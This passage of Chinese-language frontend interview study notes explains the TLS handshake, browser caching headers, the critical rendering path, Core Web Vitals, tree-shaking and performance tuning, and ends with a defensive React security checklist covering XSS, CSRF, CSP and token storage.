.edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-Kx2pSUQ6pHmEhukH .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-Kx2pSUQ6pHmEhukH .marker{fill:#333333;stroke:#333333;}#mermaid-svg-Kx2pSUQ6pHmEhukH .marker.cross{stroke:#333333;}#mermaid-svg-Kx2pSUQ6pHmEhukH svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-Kx2pSUQ6pHmEhukH p{margin:0;}#mermaid-svg-Kx2pSUQ6pHmEhukH .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-Kx2pSUQ6pHmEhukH text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-Kx2pSUQ6pHmEhukH .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-Kx2pSUQ6pHmEhukH .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-Kx2pSUQ6pHmEhukH .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-Kx2pSUQ6pHmEhukH .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-Kx2pSUQ6pHmEhukH #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-Kx2pSUQ6pHmEhukH .sequenceNumber{fill:white;}#mermaid-svg-Kx2pSUQ6pHmEhukH #sequencenumber{fill:#333;}#mermaid-svg-Kx2pSUQ6pHmEhukH #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-Kx2pSUQ6pHmEhukH .messageText{fill:#333;stroke:none;}#mermaid-svg-Kx2pSUQ6pHmEhukH .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-Kx2pSUQ6pHmEhukH .labelText,#mermaid-svg-Kx2pSUQ6pHmEhukH .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-Kx2pSUQ6pHmEhukH .loopText,#mermaid-svg-Kx2pSUQ6pHmEhukH .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-Kx2pSUQ6pHmEhukH .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-Kx2pSUQ6pHmEhukH .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-Kx2pSUQ6pHmEhukH .noteText,#mermaid-svg-Kx2pSUQ6pHmEhukH .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-Kx2pSUQ6pHmEhukH .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-Kx2pSUQ6pHmEhukH .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-Kx2pSUQ6pHmEhukH .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-Kx2pSUQ6pHmEhukH .actorPopupMenu{position:absolute;}#mermaid-svg-Kx2pSUQ6pHmEhukH .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-Kx2pSUQ6pHmEhukH .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-Kx2pSUQ6pHmEhukH .actor-man circle,#mermaid-svg-Kx2pSUQ6pHmEhukH line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-Kx2pSUQ6pHmEhukH :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 1. Client Hello(支持的 TLS 版本、加密套件列表、随机数 ClientRandom) 2. Server Hello(选定的加密套件、随机数 ServerRandom)+ 服务器数字证书(含公钥) 3. 验证证书链(是否被信任的 CA 签发、域名是否匹配、是否过期) 4. 生成预主密钥(Pre-Master Secret),用服务器公钥加密 5. 发送加密后的 Pre-Master Secret 6. 用自己的私钥解密,得到 Pre-Master Secret 7. 双方各自用 ClientRandom + ServerRandom + Pre-Master Secret 推导出相同的对称会话密钥 7. (同上,双方独立计算出同一把对称密钥,无需再传输) 8. Finished(用会话密钥加密的握手摘要,供对方校验握手过程未被篡改) 9. Finished(同上,双向确认) 10. 之后的业务数据,全部用协商好的对称密钥加密传输

TLS 1.3 的简化(面试加分项):

中文:TLS 1.3 把握手从 TLS 1.2 的 2-RTT(两次往返)精简到 1-RTT ,因为客户端在 Client Hello 阶段就直接"猜测"服务器支持的密钥交换算法并顺带发送密钥交换参数,省去了一次协商往返;还支持 0-RTT(对之前连接过的服务器,用缓存的会话信息直接发送加密的业务数据,不用等握手完成),进一步降低首字节延迟。同时 TLS 1.3 移除了一些不安全的老加密算法,强制使用前向保密(Forward Secrecy)------即使服务器私钥未来泄露,之前已经结束的历史会话也无法被反向解密(因为每次会话用的临时密钥不依赖长期私钥本身存储)。

面试总结话术:

中文:"HTTPS 的安全性建立在三层机制上:非对称加密 解决密钥安全分发的问题,对称加密 解决实际数据传输的性能问题,数字证书 + CA 信任链解决'如何确认对方身份、防止中间人冒充'的问题。TLS 握手的本质就是双方在不安全的网络上,借助非对称加密安全地协商出一把双方都认可、第三方窃听不到的对称密钥,之后的通信就完全退化成普通的对称加密通信,兼顾安全和性能。"


9.7 浏览器缓存策略:强缓存 vs 协商缓存

中文:浏览器缓存的核心目的是减少重复请求、加快页面加载------分为强缓存 (完全不发请求,直接用本地缓存)和协商缓存(发请求但可能只换一个"没变化"的轻量响应),二者可以叠加使用。

强缓存(Strong Cache)------命中则完全不发网络请求:

响应头 说明
Cache-Control: max-age=31536000 HTTP/1.1 标准,现代浏览器首选 ------指定资源在多少秒内直接视为"新鲜",不用问服务器。常配合 immutable(资源内容永不改变,连协商请求都不用发,彻底跳过重新验证)
Expires: Wed, 21 Oct 2026 07:28:00 GMT HTTP/1.0 遗留字段,指定一个绝对过期时间点;问题是依赖客户端本地时间 ,如果用户电脑时间不准会导致缓存判断失效,Cache-Control 同时存在时优先级更高,会覆盖 Expires
Cache-Control: no-store 完全不缓存,每次都要重新请求(如包含敏感信息的接口响应)
Cache-Control: no-cache 名字容易误导------其实不是"不缓存",而是"每次都要向服务器做协商验证",即强制走协商缓存流程,不允许直接用强缓存

协商缓存(Negotiation Cache)------强缓存失效/未命中后,发请求问服务器"内容变了吗":

请求头/响应头 说明
Last-Modified (响应头)→ If-Modified-Since(请求头) 服务器首次响应时带上资源最后修改时间;浏览器下次请求时把这个时间回传,服务器对比文件的实际修改时间,没变就返回 304 Not Modified(不带响应体),变了就返回 200 + 新内容。缺点:精度只到秒级,文件内容没变但被重新保存(修改时间变了)也会误判为"变了"
ETag (响应头)→ If-None-Match(请求头) 服务器基于文件内容算出的哈希指纹 ,内容完全一样则 ETag 相同。比 Last-Modified 更精确(能避免"内容没变但时间戳变了"的误判),但计算哈希有额外开销,两者可以配合使用,ETag 优先级通常更高

完整缓存决策流程(面试常考时序图):
#mermaid-svg-xSeVw0mnL4OBiFo8{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-xSeVw0mnL4OBiFo8 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-xSeVw0mnL4OBiFo8 .error-icon{fill:#552222;}#mermaid-svg-xSeVw0mnL4OBiFo8 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-xSeVw0mnL4OBiFo8 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-xSeVw0mnL4OBiFo8 .marker.cross{stroke:#333333;}#mermaid-svg-xSeVw0mnL4OBiFo8 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-xSeVw0mnL4OBiFo8 p{margin:0;}#mermaid-svg-xSeVw0mnL4OBiFo8 .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-xSeVw0mnL4OBiFo8 .cluster-label text{fill:#333;}#mermaid-svg-xSeVw0mnL4OBiFo8 .cluster-label span{color:#333;}#mermaid-svg-xSeVw0mnL4OBiFo8 .cluster-label span p{background-color:transparent;}#mermaid-svg-xSeVw0mnL4OBiFo8 .label text,#mermaid-svg-xSeVw0mnL4OBiFo8 span{fill:#333;color:#333;}#mermaid-svg-xSeVw0mnL4OBiFo8 .node rect,#mermaid-svg-xSeVw0mnL4OBiFo8 .node circle,#mermaid-svg-xSeVw0mnL4OBiFo8 .node ellipse,#mermaid-svg-xSeVw0mnL4OBiFo8 .node polygon,#mermaid-svg-xSeVw0mnL4OBiFo8 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-xSeVw0mnL4OBiFo8 .rough-node .label text,#mermaid-svg-xSeVw0mnL4OBiFo8 .node .label text,#mermaid-svg-xSeVw0mnL4OBiFo8 .image-shape .label,#mermaid-svg-xSeVw0mnL4OBiFo8 .icon-shape .label{text-anchor:middle;}#mermaid-svg-xSeVw0mnL4OBiFo8 .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-xSeVw0mnL4OBiFo8 .rough-node .label,#mermaid-svg-xSeVw0mnL4OBiFo8 .node .label,#mermaid-svg-xSeVw0mnL4OBiFo8 .image-shape .label,#mermaid-svg-xSeVw0mnL4OBiFo8 .icon-shape .label{text-align:center;}#mermaid-svg-xSeVw0mnL4OBiFo8 .node.clickable{cursor:pointer;}#mermaid-svg-xSeVw0mnL4OBiFo8 .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-xSeVw0mnL4OBiFo8 .arrowheadPath{fill:#333333;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-xSeVw0mnL4OBiFo8 .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-xSeVw0mnL4OBiFo8 .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-xSeVw0mnL4OBiFo8 .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-xSeVw0mnL4OBiFo8 .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-xSeVw0mnL4OBiFo8 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-xSeVw0mnL4OBiFo8 .cluster text{fill:#333;}#mermaid-svg-xSeVw0mnL4OBiFo8 .cluster span{color:#333;}#mermaid-svg-xSeVw0mnL4OBiFo8 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-xSeVw0mnL4OBiFo8 .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-xSeVw0mnL4OBiFo8 rect.text{fill:none;stroke-width:0;}#mermaid-svg-xSeVw0mnL4OBiFo8 .icon-shape,#mermaid-svg-xSeVw0mnL4OBiFo8 .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-xSeVw0mnL4OBiFo8 .icon-shape p,#mermaid-svg-xSeVw0mnL4OBiFo8 .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-xSeVw0mnL4OBiFo8 .icon-shape .label rect,#mermaid-svg-xSeVw0mnL4OBiFo8 .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-xSeVw0mnL4OBiFo8 .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-xSeVw0mnL4OBiFo8 .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-xSeVw0mnL4OBiFo8 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 否
是
未过期
已过期
内容未变
内容已变
浏览器发起请求
本地是否有缓存记录?
发起网络请求

服务器返回 200 + 资源 + 缓存相关响应头
强缓存是否过期?

max-age / Expires
直接使用本地缓存

状态码 200(来自磁盘/内存缓存)

不发请求
发起请求,带上

If-None-Match / If-Modified-Since
服务器比对 ETag / Last-Modified
返回 304 Not Modified

无响应体,浏览器继续使用本地缓存

前端工程实践(Vite/Webpack 产物如何配合缓存策略):

中文:构建产物文件名里带内容哈希 (如 main.a1b2c3.js),内容不变则文件名不变、内容一旦变化文件名也跟着变------这样就可以给这些带 hash 的静态资源设置超长的强缓存 (Cache-Control: max-age=31536000, immutable),因为只要内容变了就是一个新 URL,不存在"缓存了旧内容还读不到新内容"的问题;而 index.html 本身必须设置 no-cache (每次都协商校验),否则用户可能长期加载到引用了旧哈希文件名的、已被覆盖删除的旧 index.html。


10. 前端性能优化(关键渲染路径 / 性能指标 / Tree-shaking)

10.1 关键渲染路径(Critical Rendering Path)------ 页面从请求到可见的全阶段

中文:面试常问"从输入 URL 到页面显示出来,中间发生了什么",本质上就是在问这条链路的每一步,以及每一步能做什么优化。
#mermaid-svg-WaiUdX20iLU1OIUv{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-WaiUdX20iLU1OIUv .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-WaiUdX20iLU1OIUv .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-WaiUdX20iLU1OIUv .error-icon{fill:#552222;}#mermaid-svg-WaiUdX20iLU1OIUv .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-WaiUdX20iLU1OIUv .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-WaiUdX20iLU1OIUv .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-WaiUdX20iLU1OIUv .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-WaiUdX20iLU1OIUv .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-WaiUdX20iLU1OIUv .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-WaiUdX20iLU1OIUv .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-WaiUdX20iLU1OIUv .marker{fill:#333333;stroke:#333333;}#mermaid-svg-WaiUdX20iLU1OIUv .marker.cross{stroke:#333333;}#mermaid-svg-WaiUdX20iLU1OIUv svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-WaiUdX20iLU1OIUv p{margin:0;}#mermaid-svg-WaiUdX20iLU1OIUv .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-WaiUdX20iLU1OIUv .cluster-label text{fill:#333;}#mermaid-svg-WaiUdX20iLU1OIUv .cluster-label span{color:#333;}#mermaid-svg-WaiUdX20iLU1OIUv .cluster-label span p{background-color:transparent;}#mermaid-svg-WaiUdX20iLU1OIUv .label text,#mermaid-svg-WaiUdX20iLU1OIUv span{fill:#333;color:#333;}#mermaid-svg-WaiUdX20iLU1OIUv .node rect,#mermaid-svg-WaiUdX20iLU1OIUv .node circle,#mermaid-svg-WaiUdX20iLU1OIUv .node ellipse,#mermaid-svg-WaiUdX20iLU1OIUv .node polygon,#mermaid-svg-WaiUdX20iLU1OIUv .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-WaiUdX20iLU1OIUv .rough-node .label text,#mermaid-svg-WaiUdX20iLU1OIUv .node .label text,#mermaid-svg-WaiUdX20iLU1OIUv .image-shape .label,#mermaid-svg-WaiUdX20iLU1OIUv .icon-shape .label{text-anchor:middle;}#mermaid-svg-WaiUdX20iLU1OIUv .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-WaiUdX20iLU1OIUv .rough-node .label,#mermaid-svg-WaiUdX20iLU1OIUv .node .label,#mermaid-svg-WaiUdX20iLU1OIUv .image-shape .label,#mermaid-svg-WaiUdX20iLU1OIUv .icon-shape .label{text-align:center;}#mermaid-svg-WaiUdX20iLU1OIUv .node.clickable{cursor:pointer;}#mermaid-svg-WaiUdX20iLU1OIUv .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-WaiUdX20iLU1OIUv .arrowheadPath{fill:#333333;}#mermaid-svg-WaiUdX20iLU1OIUv .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-WaiUdX20iLU1OIUv .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-WaiUdX20iLU1OIUv .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-WaiUdX20iLU1OIUv .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-WaiUdX20iLU1OIUv .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-WaiUdX20iLU1OIUv .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-WaiUdX20iLU1OIUv .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-WaiUdX20iLU1OIUv .cluster text{fill:#333;}#mermaid-svg-WaiUdX20iLU1OIUv .cluster span{color:#333;}#mermaid-svg-WaiUdX20iLU1OIUv div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-WaiUdX20iLU1OIUv .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-WaiUdX20iLU1OIUv rect.text{fill:none;stroke-width:0;}#mermaid-svg-WaiUdX20iLU1OIUv .icon-shape,#mermaid-svg-WaiUdX20iLU1OIUv .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-WaiUdX20iLU1OIUv .icon-shape p,#mermaid-svg-WaiUdX20iLU1OIUv .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-WaiUdX20iLU1OIUv .icon-shape .label rect,#mermaid-svg-WaiUdX20iLU1OIUv .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-WaiUdX20iLU1OIUv .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-WaiUdX20iLU1OIUv .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-WaiUdX20iLU1OIUv :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} DNS 解析
TCP 三次握手
TLS 握手

如果是 HTTPS
发送 HTTP 请求
等待服务器响应

TTFB
下载 HTML
解析 HTML 构建 DOM 树
解析 CSS 构建 CSSOM 树
DOM + CSSOM 合并成 Render Tree
Layout 布局

计算每个元素的几何位置
Paint 绘制

把元素画成像素
Composite 合成

多图层合成为最终画面

各阶段对应的优化手段:

阶段 瓶颈 优化手段
DNS 解析 域名解析耗时 <link rel="dns-prefetch">、减少不必要的第三方域名
TCP/TLS 握手 建连耗时,尤其是 HTTPS 多一次 TLS 握手往返 <link rel="preconnect">提前建连、启用 HTTP/2(多路复用,减少建连次数)、TLS 1.3(1-RTT 握手)
TTFB(Time To First Byte) 服务端处理慢、网络链路长 CDN 就近分发、服务端渲染优化、数据库查询优化、接口缓存
资源下载 文件体积大、请求数量多 Gzip/Brotli 压缩、代码分割(code splitting)、Tree-shaking 去除死代码、图片懒加载和现代格式(WebP/AVIF)、强缓存命中减少重复下载
HTML 解析 / DOM 构建 解析器遇到 <script> 默认会阻塞 DOM 构建 脚本加 defer(延迟到 DOM 解析完再按顺序执行)或 async(下载完立刻执行,不保证顺序),不阻塞 HTML 继续解析
CSSOM 构建 CSS 是渲染阻塞资源------浏览器必须等 CSSOM 构建完才能进入 Render Tree 阶段 精简 CSS 体积、关键 CSS 内联(Critical CSS)、非关键 CSS 用 media 属性或异步加载降低阻塞优先级
Layout(重排/回流) 修改会影响元素几何属性的样式(宽高、位置)会触发重新计算整个或部分布局,开销大 避免频繁读写触发"强制同步布局"(layout thrashing,连续读 offsetTop 又写样式)、用 transform 代替改 top/left 做动画(不触发 Layout)
Paint(重绘) 修改外观但不影响布局的样式(颜色、visibility)会触发重绘 减少不必要的样式改动范围,用 will-change 提示浏览器提前优化(谨慎使用,滥用反而耗内存)
Composite(合成) 多图层合成,transform/opacity 的动画可以只在合成线程完成,不需要主线程参与 Layout/Paint 用 transform/opacity 做动画,必要时用 will-change/translateZ(0) 提升为独立合成层

面试一句话总结: "浏览器渲染流水线大致是 解析 → 样式计算 → 布局 → 绘制 → 合成,不同的 CSS/JS 操作会从流水线的不同节点重新触发,越靠前触发代价越大(Layout > Paint > Composite),所以性能优化的核心思路之一就是'尽量只触发合成阶段的变化'。"


10.2 性能指标体系(Core Web Vitals + 传统指标)

指标 含义 衡量的是什么 经验阈值(Good)
TTFB(Time To First Byte) 浏览器收到第一个字节响应的时间 服务端响应速度、网络链路 < 800ms
FP(First Paint) 页面第一次有任何像素被绘制出来的时间 最早的视觉反馈 越早越好
FCP(First Contentful Paint) 第一个"有内容"(文本/图片)元素绘制出来的时间 用户感知到"页面开始加载内容"的时刻 < 1.8s
LCP(Largest Contentful Paint) 视口内最大的内容元素(通常是首屏大图/标题)绘制完成的时间 用户感知"主要内容加载完毕"------Core Web Vitals 三大指标之一 < 2.5s
TTI(Time To Interactive) 页面已经可以稳定响应用户交互的时间(主线程空闲、长任务结束) 页面"看起来能用"和"真正能用"之间的差距 < 3.8s
TBT(Total Blocking Time) FCP 到 TTI 之间,主线程被长任务(>50ms)阻塞的总时长 交互响应能力的间接量化指标 < 200ms
CLS(Cumulative Layout Shift) 页面生命周期内所有意外布局偏移的累积分数 视觉稳定性------Core Web Vitals 三大指标之一(常见元凶:图片/广告没有预留尺寸、异步插入内容挤占原有布局) < 0.1
INP(Interaction to Next Paint) 用户交互(点击/按键)到下一次屏幕更新之间的延迟,取页面生命周期内较差情况的统计值 实际交互响应速度------2024 年起替代 FID 成为 Core Web Vitals 第三项指标 < 200ms
FID(First Input Delay,已被 INP 取代) 用户首次交互到浏览器能够响应这次交互之间的延迟 早期的交互响应能力指标 < 100ms

三大 Core Web Vitals(2026 年现行标准): LCP (加载速度)+ CLS (视觉稳定性)+ INP(交互响应性)------这三个是 Google 搜索排名也会参考的指标,是业界公认的"用户体验好不好"的量化标尺。

测量工具:

  • Lighthouse(实验室数据,模拟环境下跑分)
  • Chrome DevTools Performance 面板(录制真实的一次渲染过程,逐帧分析主线程任务)
  • web-vitals npm 包(采集真实用户的 RUM 数据上报,而不是实验室模拟数据------真实用户的设备性能、网络环境差异很大,RUM 数据更有参考价值)
  • PerformanceObserver API (浏览器原生 API,监听 largest-contentful-paint、layout-shift 等性能条目)

10.3 Tree-shaking 详解(性能优化视角)

中文:Tree-shaking 是打包阶段 去除"没有被使用到的导出"的优化手段,直接影响的是上面关键渲染路径里"资源下载"这一阶段的产物体积。

原理回顾: 依赖 ES Module 的静态结构------import/export 在编译期 就能确定依赖关系(不像 CommonJS 的 require 是运行时动态求值,理论上可以出现在任意逻辑分支里,静态分析没法 100% 确定),打包工具据此构建一张"模块导出是否被真正引用"的依赖图,对没被引用的导出做标记,最终在生成产物时把这部分代码从 bundle 里删掉。

生效的前提条件(面试容易挖坑的地方):

  1. 代码必须是 ESM 格式 ------如果第三方库仍然发布的是 CommonJS 格式(module.exports),大多数打包工具无法对其做静态 Tree-shaking,这也是为什么很多库会同时发布 ESM 和 CJS 两份产物("module" 字段 vs "main" 字段)。
  2. 没有副作用,或正确标记 sideEffects: false ------如果一个模块在顶层执行了会影响外部环境的代码(比如注册全局 polyfill、修改原型链),打包工具不敢贸然删除即使"看起来没被引用"的代码,因为删除后可能破坏程序行为。package.json 里可以显式声明 "sideEffects": false(告诉打包工具这个包所有模块都可以放心摇树)或者列出例外的副作用文件(如 ["*.css"])。
  3. 按需引入写法要正确 ------比如引入 lodash 应该 import { debounce } from 'lodash-es' 而不是 import _ from 'lodash' 再 _.debounce(...),后者会导致整个 lodash 都被打进 bundle(除非配合 babel-plugin-lodash 这类专门插件)。
  4. 避免在模块顶层做有副作用的操作------比如顶层直接调用了一个函数、修改了某个外部对象,这段代码即使它所在的模块导出没被使用,也不会被摇掉。

和代码分割(Code Splitting)的关系: 两者是互补的,不是一回事------Tree-shaking 解决的是"单个 bundle 里有没有删掉没用的代码",Code Splitting 解决的是"要不要把一个大 bundle 拆成多个,按需加载"(比如 React.lazy + 路由级分割,首屏只加载当前路由需要的代码,其余路由的代码在真正跳转时才按需请求)。


10.4 性能优化手段总览(按"阶段"归类,面试可按此结构答题)

1. 网络加载阶段

  • CDN 就近加速、HTTP/2 多路复用、Gzip/Brotli 压缩
  • 强缓存(Cache-Control: immutable + 内容哈希文件名)+ 协商缓存(详见 9.7 节)
  • preconnect/dns-prefetch/preload/prefetch 资源提示,提前建连或预加载关键资源
  • 图片懒加载(loading="lazy")、现代图片格式(WebP/AVIF)、响应式图片(srcset)

2. 打包构建阶段

  • Tree-shaking 去除死代码(详见 10.3)
  • 代码分割:路由级分割(React.lazy + Suspense)、第三方库单独分包(避免业务代码改动导致整个 vendor 包缓存失效)
  • 压缩混淆(Terser/esbuild/SWC,比传统 Babel+UglifyJS 更快)
  • 按需引入组件库(babel-plugin-import 或组件库本身提供的 ESM 按需导出)

3. 解析渲染阶段

  • 脚本 defer/async,避免阻塞 HTML 解析
  • 关键 CSS 内联,非关键 CSS 异步加载,减少渲染阻塞资源
  • 避免布局抖动(强制同步布局):批量读/批量写 DOM,不要在循环里交替读写几何属性
  • 长列表虚拟化(react-window/react-virtualized),只渲染可视区域内的 DOM 节点
  • 动画优先用 transform/opacity(走合成层),避免触发 Layout/Paint

4. JS 执行阶段

  • 防抖(debounce)/节流(throttle)控制高频事件(滚动、输入、resize)触发的回调频率
  • 长任务拆分:用 requestIdleCallback/scheduler.postTask/setTimeout 把大任务切片,避免长时间阻塞主线程(React 18 的 Concurrent 特性本质上也是在解决这个问题)
  • 把真正密集的计算(如大数据处理、加解密)丢进 Web Worker,不占用主线程
  • 合理使用 useMemo/useCallback/memo,减少不必要的重复渲染(详见第 5.3 节)

5. 用户感知优化(锦上添花,不减少实际耗时但改善体验)

  • 骨架屏(Skeleton Screen)代替空白页/loading 转圈,降低用户的等待焦虑感
  • 乐观更新(useOptimistic,见 2.3 节)让交互显得"立刻响应"
  • 预加载下一步可能用到的资源(鼠标悬停时 prefetch 下一页数据)

面试总结话术:

中文:"我做性能优化会按关键渲染路径的阶段来排查------先用 Lighthouse/Performance 面板定位瓶颈到底在网络、解析还是执行阶段,而不是上来就无差别加 useMemo。常见优先级:先解决网络层(缓存策略、CDN、压缩、代码分割减小产物体积),再解决解析渲染层(减少阻塞资源、避免布局抖动),最后针对 JS 执行层做防抖节流和长任务拆分。指标上我会盯 Core Web Vitals 的 LCP、CLS、INP 三项,因为它们分别对应加载速度、视觉稳定性和交互响应性,是目前业界和 Google 都认可的体验量化标准。"


11. 前端安全清单(对齐 OWASP,React 场景专项)

风险 React 场景下的应对措施
XSS(跨站脚本) React 默认会转义 JSX 内容------真正的风险点是 dangerouslySetInnerHTML;如果必须渲染 HTML,用 DOMPurify 做消毒处理。不要把不可信数据直接拼进 href/src(防止 javascript: 协议注入)。
CSRF(跨站请求伪造) 跨站调用 API 时优先用请求头里的 Bearer Token,而不是认证 Cookie;如果必须用 Cookie,配合 SameSite + CSRF Token。
客户端打包产物中的敏感信息 不要把 API 密钥/私钥放进前端环境变量(VITE_* 变量会被打进浏览器可见的产物里)------只能放公开配置。
依赖漏洞 定期 npm audit / Snyk / Dependabot 扫描;sc- 前缀的内部包按团队流程升级版本。
点击劫持(Clickjacking) X-Frame-Options / CSP 的 frame-ancestors ------ 主要是后端/CDN 职责,但前端要有意识。
开放重定向(Open Redirect) 对重定向地址(比如 OAuth 登录后的跳转地址)做白名单校验。
不安全的令牌存储 前面已详述------避免把令牌存 localStorage。
CSP(内容安全策略) 限制 script-src,尽量禁用内联脚本/unsafe-eval,缩小 XSS 的攻击面。
第三方脚本的信任边界 审计所有注入的分析/广告脚本------它们和页面主代码拥有同等权限。

